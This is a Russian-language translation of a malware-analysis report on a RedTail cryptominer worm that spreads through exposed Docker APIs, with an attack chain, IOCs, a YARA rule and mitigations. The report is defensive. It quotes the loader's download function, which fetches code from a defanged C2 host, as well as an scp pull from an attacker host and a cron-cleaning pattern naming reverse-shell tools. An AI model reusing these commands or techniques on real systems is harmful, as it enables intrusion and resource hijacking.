Эта страница является переводом. Авторитетным считается текст английской версии. Читать на английском

malware · cryptomining · redtail · docker · linux · honeypot · worm

Кампания RedTail изнутри: самораспространение через открытые Docker API

Ханипоты Kinryū Labs зафиксировали криптомайнер RedTail, распространяющийся через Docker Engine API без аутентификации и подброшенные SSH-ключи. В разборе описан актуальный, полностью собранный экземпляр: лоадер, скрипт удаления конкурентов, майнер и действующие индикаторы.

Автор Davis Zheng·

TLP:CLEAR. Разрешено к публикации. Получено сетью сенсоров-ханипотов Kinryū Labs. Индикаторы ниже приведены в обезвреженном виде.

Краткая сводка

  • 2375открытый Docker API, точка входа
  • 4целевые архитектуры CPU
  • ~21sполный цикл проникновения
  • самораспространениеSSH-клиент встроен в майнер

В первой половине июня 2026 года наша сеть ханипотов зафиксировала червя, который распространяется через доступные из интернета Docker Engine API на TCP/2375 и устанавливает RedTail, майнер Monero на базе XMRig, известный с конца 2023 года. Злоумышленник получает список работающих контейнеров через открытый Docker API, выполняет команды внутри каждого из них, записывает закрытый SSH-ключ для закрепления и латерального перемещения, затем загружает мультиархитектурный лоадер. Лоадер устанавливает майнер, в состав которого входят собственный SSH-клиент для распространения и сниффер на libpcap для поиска новых целей.

Полезная нагрузка однозначно опознаётся как RedTail. RedTail известен прежде всего доставкой через эксплойты к веб-приложениям (PAN-OS, Ivanti, Log4Shell, PHP-CGI, TP-Link), но использование им открытых Docker API также описывалось ранее. Этот разбор добавляет актуальный, полностью собранный экземпляр такой доставки через Docker API: действующий C2 и индикаторы, запись SSH-ключа, позволяющая хосту самовоспроизводиться, и скрипт удаления конкурентов, на который прежние публикации указывали, но сам его не получали.

Майнер несёт зашифрованную конфигурацию, расшифровываемую во время работы, и не содержит встроенного кошелька, поэтому извлечь адрес Monero из образца невозможно. Для его получения нужен реальный запуск с перехватом сетевого трафика.

Ключевые выводы
  • Полезная нагрузка идентифицирована как RedTail (высокая степень уверенности). Строка libredtail evbuffer_tls, артефакт .redtail, запасное имя redtail в лоадере и сборка с зашифрованной конфигурацией без кошелька соответствуют версиям семейства после 2024 года.
  • Кампания способна к самораспространению (высокая степень уверенности). Инструментов для работы с Docker API, подброшенного ключа и встроенного в майнер SSH-клиента достаточно, чтобы только что заражённый хост самостоятельно нашёл следующую жертву.
  • Оператор преследует финансовую выгоду (средняя степень уверенности). Кража учётных данных и сниффинг, судя по всему, обслуживают распространение, а не отдельную задачу хищения данных.
  • Вектор через Docker API уже описывался применительно к RedTail и по-прежнему хорошо работает. Один открытый сокет на TCP/2375 даёт злоумышленнику выполнение кода с правами root внутри каждого контейнера на хосте.

Цепочка атаки

[0] Reconnaissance     Internet scan for exposed Docker API :2375
        │
[1] Initial Access     Unauthenticated Docker API → enumerate containers
        │              (T1190 Exploit Public-Facing Application)
        │
[2] Execution          docker exec into every running container
        │              (T1609 Container Administration Command)
        │
[3] Persistence /      Drop ed25519 key "dlr@sftp" into container ~/.ssh
    Lateral prep       (T1098.004 SSH Authorized Keys / T1570 Lateral Tool Transfer)
        │
[4] Ingress (Stage 2)  Pull loader:  scp dlr@217.60.195[.]113:sh   (primary)
        │                            hxxps://14.46.136[.]77/sh      (fallback)
        │              (T1105 Ingress Tool Transfer)
        │
[5] Defense Evasion    Loader: find noexec mounts → avoid them; hidden ".<random>"
        │              filename; run/discard "clean" competitor-removal
        │
[6] Ingress (Stage 3)  Loader pulls arch ELF (x86_64/i686/aarch64/arm7) from C2
        │
[7] Execution          memfd_create → fileless launch of RedTail miner
        │              (T1620 Reflective Code Loading)
        │
[8] Impact             XMRig Monero mining (T1496 Resource Hijacking)
   + Credential Access libpcap sniffing + ssh-agent/key theft (T1040 / T1552.004)
   + Lateral Movement  Embedded SSH client spreads to discovered hosts (T1021.004)

Этап 1: первоначальный доступ через Docker API

Злоумышленник охотится за экземплярами Docker Engine, у которых REST API доступен без аутентификации на TCP/2375. Вся его последовательность действий заняла около 21 секунды:

  1. GET /version и GET /containers/json для снятия отпечатка движка и получения списка контейнеров.
  2. POST /containers/{id}/exec, затем POST /exec/{id}/start для каждого работающего контейнера.
  3. Шелл-нагрузка внутри контейнера, которая записывает SSH-ключ злоумышленника и скачивает лоадер.

Именно последний шаг превращает разовую установку майнера в червя. Заражённый хост, у которого собственный Docker API тоже открыт, повторит ту же процедуру перечисления и выполнения команд уже против следующего набора жертв.

Подброшенный SSH-ключ (закрепление и латеральное перемещение)

АтрибутЗначение
Типзакрытый ключ OpenSSH ed25519
Комментарийdlr@sftp
Отпечаток SHA256 открытого ключаSHA256:O/at8341SoPpKvTPvMsJSgjQm30md9VTS2it25sY0vg
Источник загрузки (канал SCP)dlr@217.60.195[.]113

Закрытый ключ мы не публикуем. Для поиска используйте приведённый выше отпечаток: проверьте authorized_keys и ~/.ssh по всей инфраструктуре.

Этап 2: лоадер /sh

SHA256: 03145a920ea47b6fa8f4e56640baaaef3c0355f1fde7356edb5dde99a44d29bf MD5: 0df4fe0f1e3e8b0941f0d1442f132700 Тип: POSIX shell-скрипт

Небольшой переносимый лоадер, написанный аккуратно.

Случайное скрытое имя файла. get_random_string() собирает буквенно-цифровое имя длиной от 4 до 35 символов, пробуя /dev/urandom, затем openssl, затем $RANDOM; если ничего из этого не сработало, используется строка redtail. Это запасное значение служит удобным признаком семейства. Майнер сохраняется как .<random>, ведущая точка скрывает его от обычного ls. На VirusTotal этот образец лежит под одним из таких имён: .mn6VTucEsFZY1PdSC2QAq.

Функция загрузки. dlr() отключает проверку TLS, поскольку у C2 самоподписанный сертификат, и при отказе wget переходит на curl:

dlr() { rm -rf $1; wget --no-check-certificate -q hxxps://14.46.136[.]77/$1 \
        || curl -skO hxxps://14.46.136[.]77/$1 ; }

Размещение с учётом noexec. Лоадер читает /proc/mounts, отбрасывает все точки монтирования с noexec и запускает find / -user $(whoami) -perm -u=rwx, чтобы найти каталог, доступный одновременно на запись и на исполнение. Каждый кандидат он проверяет записью 2 МБ через dd или truncate, а это больше того, на что идёт большинство лоадеров: обычный подход состоит в записи в /tmp в расчёте на удачу.

Зачистка конкурентов. Лоадер скачивает и запускает clean (dlr clean; chmod +x clean; sh clean; rm -rf clean), после чего удаляет его. Этот скрипт мы также получили и разбираем ниже. Он бьёт по механизмам закрепления и каталогам подготовки конкурентов, не трогая работающие процессы.

Уборка. Перед установкой нового файла он удаляет .redtail и предыдущий файл .<random>.

Выбор архитектуры. Ветвление по uname -mp выбирает сборку:

Совпадение ARCHЗагружает
x86_64 / amd64x86_64
i[3456]86i686
armv8 / aarch64aarch64
armv7arm7
неизвестноперебирает все четыре, запускает каждую

Запуск. ./.<random> $1 с передачей исходного $1 лоадера, который RedTail трактует как метку кампании или вектора.

Скрипт удаления конкурентов clean

SHA256: d46555af1173d22f07c37ef9c1e0e74fd68db022f2b6fb3ab5388d2c5bc6a98e MD5: 397ff5e54194072e6d8a44a0d8cc1b27 Тип: Bash-скрипт (795 байт)

clean мы получили при более позднем срабатывании ханипотов. Его единственная задача состоит в том, чтобы убрать с машины другое вредоносное ПО и оставить её RedTail в единоличное пользование:

  • Зачистка cron. Для каждого пользовательского crontab (/var/spool/cron/crontabs/*), системного crontab (/etc/crontab, /etc/crontabs), каталога drop-in файлов (/etc/cron.{hourly,daily,weekly,monthly,d}) и /etc/anacrontab он снимает атрибут immutable командой chattr -ia (конкурирующее ВПО выставляет его, чтобы защитить собственные строки в cron), после чего удаляет любую строку, подходящую под шаблон повторного заражения:

    wget | curl | /dev/tcp | /tmp | \.sh | nc | bash -i | sh -i | base64 -d

    Так вырезаются загрузчики и обратные шеллы других группировок, при этом легитимные записи cron остаются нетронутыми.

  • Устранение конкретного конкурента. Скрипт отключает и останавливает systemd-сервис c3pool_miner, что прямо нацелено на майнер c3pool.

  • Очистка каталогов подготовки. Он очищает /tmp, /var/tmp и /dev/shm командой rm -rf, удаляя нагрузки конкурентов и общее для них рабочее пространство.

Отказ от завершения работающих процессов представляет собой компромисс. Массовое завершение сразу освобождает процессор, но именно такое событие вызывает оповещение на контролируемом хосте, тогда как удаление строк cron и очистка каталогов подготовки уничтожают механизм повторного заражения конкурента, поэтому вытеснение переживает перезагрузку, которая иначе отменила бы его.

Этап 3: майнер RedTail (x86_64)

SHA256: 59c29436755b0778e968d49feeae20ed65f5fa5e35f9f7965b8ed93420db91e5 MD5: aaa5098c9caafccf15362b017825c64b Размер: 1,880,264 байт (1.79 MB) Формат: ELF 64-bit LSB EXEC (статическая компоновка, non-PIE), x86-64, точка входа 0xaa9e18 Упаковщик: UPX 5.02 ($Id: UPX 5.02 Copyright (C) 1996-2025 the UPX Team) VirusTotal: 36/62 вердиктов «вредоносный», оценка сообщества −60, впервые замечен ~2026-06-05 Метки угрозы: trojan.usblem26/abminer; семейства usblem26 / abminer / gen3

Упаковка и противодействие анализу

  • UPX 5.02 с нетронутым заголовком. upx -d распаковывает его без проблем в статически скомпонованный ELF размером около 5 MB.
  • Бесфайловое выполнение. Code insights на VirusTotal показывают использование memfd_create (системный вызов 0x13f) для запуска нагрузки напрямую из анонимного файлового дескриптора в памяти, с перезапуском через /proc/self/exe и размещением в /dev/shm. На диск ничего не попадает, поэтому дисковый антивирус вообще не получает возможности проверить файл.
  • Подмена имени процесса (sets-process-name), чтобы сливаться с обычными процессами.
  • Противодействие отладчикам (detect-debug-environment). В публичных разборах RedTail описаны самоотладка через ptrace и активное завершение GDB со стороны образца.
  • Замечание об антивирусе на хосте. Microsoft Defender определяет упакованный ELF как Trojan:Linux/Multiverze!rfn и блокирует его чтение с диска, поэтому статический разбор приходится выполнять на изолированной машине или в памяти.

Подтверждённые компоненты (по строкам .rodata после распаковки)

Майнинговое ядро XMRig

randomx/0   cryptonight-monerov7   cryptonight-monerov8
XMRIG_VERSION  donate-level  donate-over-proxy  pool address
stratum+tcp://   stratum+ssl://
/var/build/xmrig/scripts/build/   (hwloc-2.12.2, abseil-cpp)

libredtail, сетевой стек, определяющий семейство

libredtail evbuffer_tls
Connection  keepalive  User-Agent

Собственный libevent и HTTP-клиент с TLS. Именно строка libredtail evbuffer_tls отличает RedTail от обычной сборки XMRig.

Встроенный SSH-клиент (латеральное перемещение и кража учётных данных)

ssh-userauth   ssh-ed25519   sk-ssh-ed25519@openssh.com
ssh-rsa-cert-v01@openssh.com   ssh-ed25519-cert-v01@openssh.com
"Unable to ask for ssh-userauth service"
"Failed to get response to ssh-userauth request"

Майнер несёт полноценный SSH-клиент. Именно он стоит за записью ключа dlr@sftp и распространением. Кражу учётных данных и распространение по SSH выполняет сам исполняемый файл майнера. Ничего из этого в дроппере нет.

Встроенный libpcap (сетевой сниффинг)

"cooked-mode frame doesn't have room for sll header"
"Kernel doesn't support memory-mapped capture ... CONFIG_PACKET_MMAP"
"Packet injection is not supported on USB devices"

Захват пакетов на хосте, что согласуется с локальным обнаружением хостов и учётных данных.

Таблицы кодирования. Присутствуют оба алфавита Base64, стандартный и URL-safe (...+/ и ...-_), используемые процедурой декодирования конфигурации.

Конфигурация и пробел в атрибуции

Распакованный файл был тщательно просмотрен на предмет IP-адресов, URL, строк stratum, pool и шаблонов адресов Monero. В нём присутствуют только встроенные пулы для донатов разработчикам XMRig (donate.ssl.xmrig.com, donate.v2.xmrig.com), которые есть в любой сборке XMRig и которые оператор не контролирует. Пула, прокси или кошелька злоумышленника в открытом виде нет.

Это сделано намеренно и соответствует тому, как RedTail развивался с 2024 года. Конфигурация майнинга зашифрована и расшифровывается только в памяти во время работы, а недавние сборки вообще не содержат кошелька и указывают вместо этого на приватный пул или pool-proxy. Отсюда:

  • Получить кошелёк Monero из данного образца невозможно.
  • Адрес pool-proxy можно получить только при реальном запуске с сетевой ловушкой (см. методологию).

Атрибуция

Это RedTail, также известный как майнер .redtail, производный от XMRig майнер Monero, впервые описанный на рубеже конца 2023 и начала 2024 года. Совпадает следующее:

  • Строка libredtail evbuffer_tls, уникальная для него.
  • Артефакт .redtail и запасное имя redtail в лоадере.
  • Сборка с зашифрованной конфигурацией и без кошелька, мультиархитектурный лоадер, скрипт clean против конкурентов и кража SSH-учётных данных, всё это известные черты RedTail.

Для сравнения, ранее зафиксированные для семейства векторы доставки: CVE-2024-3400 (PAN-OS), CVE-2023-46805 и CVE-2024-21887 (Ivanti), CVE-2021-44228 (Log4Shell), CVE-2024-4577 (PHP-CGI) и CVE-2023-1389 (TP-Link). VirusTotal дополнительно помечает этот образец CVE-2021-41773 (обход пути до RCE в Apache 2.4.49/2.4.50) и CVE-2015-2808 (RC4, «Bar Mitzvah»).

Использование RedTail открытых Docker API уже описывалось, так что сам вектор не нов. Слабым местом тех публикаций была середина цепочки, и именно туда попадает этот захват: скрипт clean, полученный, а не выведенный по косвенным признакам, действующие на момент сбора C2 и хеши нагрузок, а также подброшенный ключ dlr@sftp, замыкающий цепочку обратно на этап 1.

Прогноз

Группировки, занимающиеся криптоджекингом, меняют способ проникновения гораздо чаще, чем полезную нагрузку, а модульный лоадер RedTail упрощает замену одного способа входа на другой. Открытый Docker API обходится в такой замене дёшево. Не нужно поддерживать эксплойт и соревноваться с циклом выпуска патчей, доступ даётся сразу с правами root внутри каждого контейнера на машине, а запас доступных из интернета портов 2375 не иссяк. RedTail здесь уже бывал.

Мы считаем вероятным, что оператор сохранит вектор через Docker API наряду с эксплойтами к веб-приложениям, а не заменит одно другим, что просто увеличивает число достижимых хостов. Если вы используете контейнеры, относитесь к открытому Docker API так, как если бы он был выставлен в публичный интернет, потому что фактически так и есть.

Индикаторы компрометации

Сетевые

ИндикаторКонтекст
14.46.136[.]77C2 / хост с нагрузками (HTTPS, самоподписанный сертификат). Отдаёт /sh, /clean, /x86_64, /i686, /aarch64, /arm7. Фильтрует по ASN трафик из облаков.
hxxps://14.46.136[.]77/shURL лоадера этапа 2
hxxps://14.46.136[.]77/cleanСкрипт удаления конкурентов (зачистка cron / каталогов подготовки)
217.60.195[.]113Источник ключа и нагрузки по SCP (dlr@217.60.195[.]113)

Файлы (SHA256 / MD5)

ФайлSHA256MD5
sh (лоадер)03145a920ea47b6fa8f4e56640baaaef3c0355f1fde7356edb5dde99a44d29bf0df4fe0f1e3e8b0941f0d1442f132700
clean (зачистка конкурентов)d46555af1173d22f07c37ef9c1e0e74fd68db022f2b6fb3ab5388d2c5bc6a98e397ff5e54194072e6d8a44a0d8cc1b27
x86_64 (майнер)59c29436755b0778e968d49feeae20ed65f5fa5e35f9f7965b8ed93420db91e5aaa5098c9caafccf15362b017825c64b

Артефакты на хосте

ИндикаторКонтекст
.redtailАртефакт майнера / маркер прежнего заражения
.<random alnum>, например .mn6VTucEsFZY1PdSC2QAqСкрытое имя файла майнера (ведущая точка + случайная строка)
Комментарий SSH-ключа dlr@sftpПодброшенный ключ
Отпечаток открытого ключа SHA256:O/at8341SoPpKvTPvMsJSgjQm30md9VTS2it25sY0vgОтпечаток подброшенного ключа; искать в authorized_keys
Файлы, размещённые в /dev/shm, /var/tmp, /tmp или любом доступном пользователю на запись каталоге с правами rwxМеста подготовки

Поведенческие

  • memfd_create (системный вызов 0x13f), выполняющий ELF из анонимного файлового дескриптора.
  • Процесс, читающий /proc/mounts и затем запускающий find / -perm -u=rwx (размещение с учётом noexec).
  • Подмена имени процесса; противодействие отладчикам на базе ptrace.
  • Исходящие соединения stratum+tcp:// / stratum+ssl:// на нестандартный хост.
  • systemctl disable c3pool_miner и systemctl stop c3pool_miner (вытеснение конкурента).
  • chattr -ia по путям crontab, сразу после чего массово удаляются строки с wget / curl / обратными шеллами из cron.
  • rm -rf для /tmp/*, /var/tmp/* и /dev/shm/* (зачистка каталогов подготовки конкурентов).

Обнаружение

Обнаружение на хосте (логика процессов / EDR)

Оповещать о процессе, который последовательно:

  1. читает /proc/mounts, затем запускает find / ... -perm -u=rwx ..., и
  2. записывает файл со случайным именем и ведущей точкой в каталог, доступный на запись всем, и
  3. вызывает memfd_create, после чего выполняет код из полученного файлового дескриптора.

По отдельности каждый признак слаб. Все три вместе дают надёжный сигнал именно об этом лоадере.

Черновое правило YARA (распакованный файл)

rule RedTail_Miner_libredtail
{
    meta:
        description = "RedTail XMRig miner: libredtail networking + embedded SSH/pcap"
        reference   = "Kinryu Labs CTI 2026-06-12"
        hash        = "59c29436755b0778e968d49feeae20ed65f5fa5e35f9f7965b8ed93420db91e5"
    strings:
        $rt  = "libredtail evbuffer_tls" ascii
        $xm1 = "randomx/0" ascii
        $xm2 = "stratum+ssl://" ascii
        $ssh = "ssh-ed25519-cert-v01@openssh.com" ascii
    condition:
        uint32(0) == 0x464c457f and $rt and 1 of ($xm*) and $ssh
}

Правило срабатывает на распакованном из UPX файле. Для упакованного образца опирайтесь на сигнатуру UPX, размер файла (~1.79 MB) и приведённые выше хеши с VirusTotal.

Сетевое обнаружение

  • Блокируйте исходящий трафик к 14.46.136[.]77 и 217.60.195[.]113 и оповещайте о нём.
  • Оповещайте о stratum+tcp / stratum+ssl к любому адресу вне списка разрешённых.
  • Оповещайте о HTTP(S)-запросах GET к однобуквенным путям и путям с названиями архитектур (/sh, /x86_64, /aarch64, /arm7).

Меры защиты

  1. Не открывайте Docker API (2375/2376) в недоверенные сети. Привяжите его к localhost или к защищённому сокету и требуйте аутентификацию по клиентскому сертификату TLS. Одна эта мера полностью ломает шаг первоначального доступа.
  2. Проверьте ~/.ssh/authorized_keys по всей инфраструктуре на наличие ключа dlr@sftp и его отпечатка.
  3. Фильтруйте исходящий трафик и отслеживайте трафик stratum и указанные выше IP-адреса C2.
  4. Там, где возможно, монтируйте /tmp, /var/tmp и /dev/shm с noexec. Это повышает планку, хотя данный лоадер учитывает noexec и будет искать другой каталог с правами на запись и исполнение.
  5. Ужесточите настройки контейнеров: отключите ненужные capabilities, используйте корневые файловые системы только для чтения и работайте по принципу минимальных привилегий, чтобы выполнение exec внутрь не давало злоумышленнику пригодную среду исполнения.

Сопоставление с MITRE ATT&CK

ТактикаТехника
Первоначальный доступT1190 Exploit Public-Facing Application (Docker API)
ВыполнениеT1609 Container Administration Command; T1059.004 Unix Shell
ЗакреплениеT1098.004 SSH Authorized Keys
Обход защитыT1027.002 Software Packing (UPX); T1620 Reflective / Memory Code Loading (memfd_create); T1564.001 Hidden Files; T1036.004 Masquerade Task or Process Name; T1622 Debugger Evasion; T1070.004 File Deletion
Доступ к учётным даннымT1552.004 Private Keys; T1040 Network Sniffing
РазведкаT1046 Network Service Scanning; T1082 System Information Discovery; T1057 Process Discovery; T1018 Remote System Discovery
Латеральное перемещениеT1021.004 Remote Services: SSH; T1570 Lateral Tool Transfer
Управление и контрольT1071.001 Web Protocols; T1573 Encrypted Channel; T1105 Ingress Tool Transfer
ВоздействиеT1496 Resource Hijacking (криптомайнинг)

Методология и заметки аналитика

  • Этапы 2 и 3 мы забрали с действующего C2 по HTTPS. 14.46.136[.]77 уходит в таймаут для адресных пространств крупных облачных провайдеров, но отвечает на запросы из домашних диапазонов; это фильтр по ASN или географии, который ломает автоматические облачные песочницы.
  • Упакованный ELF вызывает срабатывание Microsoft Defender (Trojan:Linux/Multiverze!rfn), и на защищённом хосте Windows его нельзя даже прочитать с диска, поэтому первичный разбор выполнялся в памяти: архив распаковывался внутри процесса Python, а исходный ELF на диск не записывался.
  • Распаковка выполнена командой upx -d в изолированной FLARE-VM. Распакованный файл анализировался статически, по строкам и структуре, без запуска.
  • Майнер мы не запускали, поэтому расшифровываемые во время работы pool-proxy и конфигурация Monero в этот отчёт не вошли.
  • Закрытый ключ злоумышленника мы извлекли из перехвата и не публикуем. В индикаторах приведён только отпечаток открытого ключа (выше), которого защитникам достаточно для поиска подброшенного ключа dlr@sftp в authorized_keys.

Рекомендуемые дальнейшие шаги (для получения индикатора pool-proxy)

Чтобы получить pool-proxy, запустите распакованный файл на изолированной машине с Linux (подойдёт REMnux), используя:

  • сетевую ловушку (INetSim либо fakedns вместе с перехватом всех TCP-подключений), чтобы вызвать соединение,
  • tcpdump -i any -w redtail.pcap, чтобы поймать stratum CONNECT и логин, и
  • strace -f, чтобы получить открытую конфигурацию, которую майнер расшифровывает непосредственно перед первым connect(); она часто читаема, даже когда TLS скрывает её в сети.

Этот хост и порт остаются последним недостающим индикатором данной кампании.

Образцы

Образцы (лоадер, скрипт clean и упакованный майнер) доступны другим исследователям и защитникам по запросу. Напишите на contact@kinryu.sh, коротко указав, кто вы и для чего они вам нужны.

Sample
RedTail · 59c29436755b0778…
How to cite
Kinryū Labs (2026). Кампания RedTail изнутри: самораспространение через открытые Docker API. https://kinryu.sh/ru/reports/redtail-cryptominer-exposed-docker-api/